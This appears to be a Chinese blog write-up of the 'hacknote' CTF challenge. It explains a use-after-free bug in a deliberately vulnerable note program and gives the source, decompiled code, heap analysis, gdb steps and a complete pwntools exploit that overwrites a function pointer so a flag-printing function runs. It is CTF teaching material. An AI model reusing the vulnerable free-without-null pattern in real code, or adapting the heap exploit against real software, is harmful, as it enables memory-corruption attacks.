pwn hacknote学习(UAF漏洞利用)
hacknote:
uaf漏洞通常就是内存块被释放后,其对应的指针没有被置为NULL,然后在下一次使用前,有相应的代码对这块内存进行了修改,当程序再次使用相同的内存空间的时候,我们就能覆盖原来的地址,从而返回我们想要执行的函数的地址。
我们通常称释放后没有被置为NULL 指针为dangling pointer。
这里贴出源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note {
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
对程序进行编译 gcc -m32 hacknote.c -o hacknote
注意:如果使用的使用 gcc hacknote.c -o hacknote
命令,编译出来的是64 位程序
检查程序保护时会出现如下情况;
正常的32 位程序检查情况如下:
发现程序开启了NX和stack保护,并且是32程序;
程序功能分析:
我们运行程序:可以看到程序有add_note,delete_note,print_note三个功能,
这里表示的三个功能,根据用户输入分别执行不同的功能;
add_Node函数:
根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
unsigned int add_note()
{
note *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->put = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
print_note函数:
print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容。这里的
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
delete_note函数:
delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
利用分析
我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数,我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢?
我们可以简单来看一下每一个 note 生成的具体流程
- 程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。
- 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
+-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下
申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
释放 note0
释放 note1
此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
这里记一下执行的具体流程:
首先在free函数前下一个断点1,申请两个note 输入内容分别为1 32 aaaa ;2 32 bbbb,然后输入2调用delete函数,查看断下来的内容,因为还未free,所以堆中还没有堆块;
这里调用的是fastbins命令查看堆块
查看我们已申请的堆信息。根据程序,我们一共申请了两个note,每个note对应一个内存堆和一个print_note函数 对应大小分别为0x10与0x28。(大小由我们申请的可用字段组成和prev_size 与 size 字段组成)(本来应该是0x10与0x28,但是不知道什么原因我的是0x11和0x29)
可以查看一下堆内数据。note里的print_note 地址使用命令 x/20wx 0x804b000
接下来查看free后的堆情况
在free后下断点 b *0x080488AE
被释放的归还进了fastbin块。根据已学的知识,这是因为size 为 16 24 32…会进入fastbin而不会被合并。具体可以了解fastbin的内容。
同理在delete 第二个note时候,刚刚申请的堆块被释放至fastbin,并且内容并未被修改。
再次申请新的大小为8的堆块后,会将fastbin[0]里的堆块分配。因为LIFO原则,所以原来note1的print_note会被分配成为新堆块的real_contents。此时写入该块内cccc,可以看到将原来的print_note函数地址覆盖。
覆盖完地址,运行结果如下
exp如下:
```c
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
上一篇: java中怎么创建索引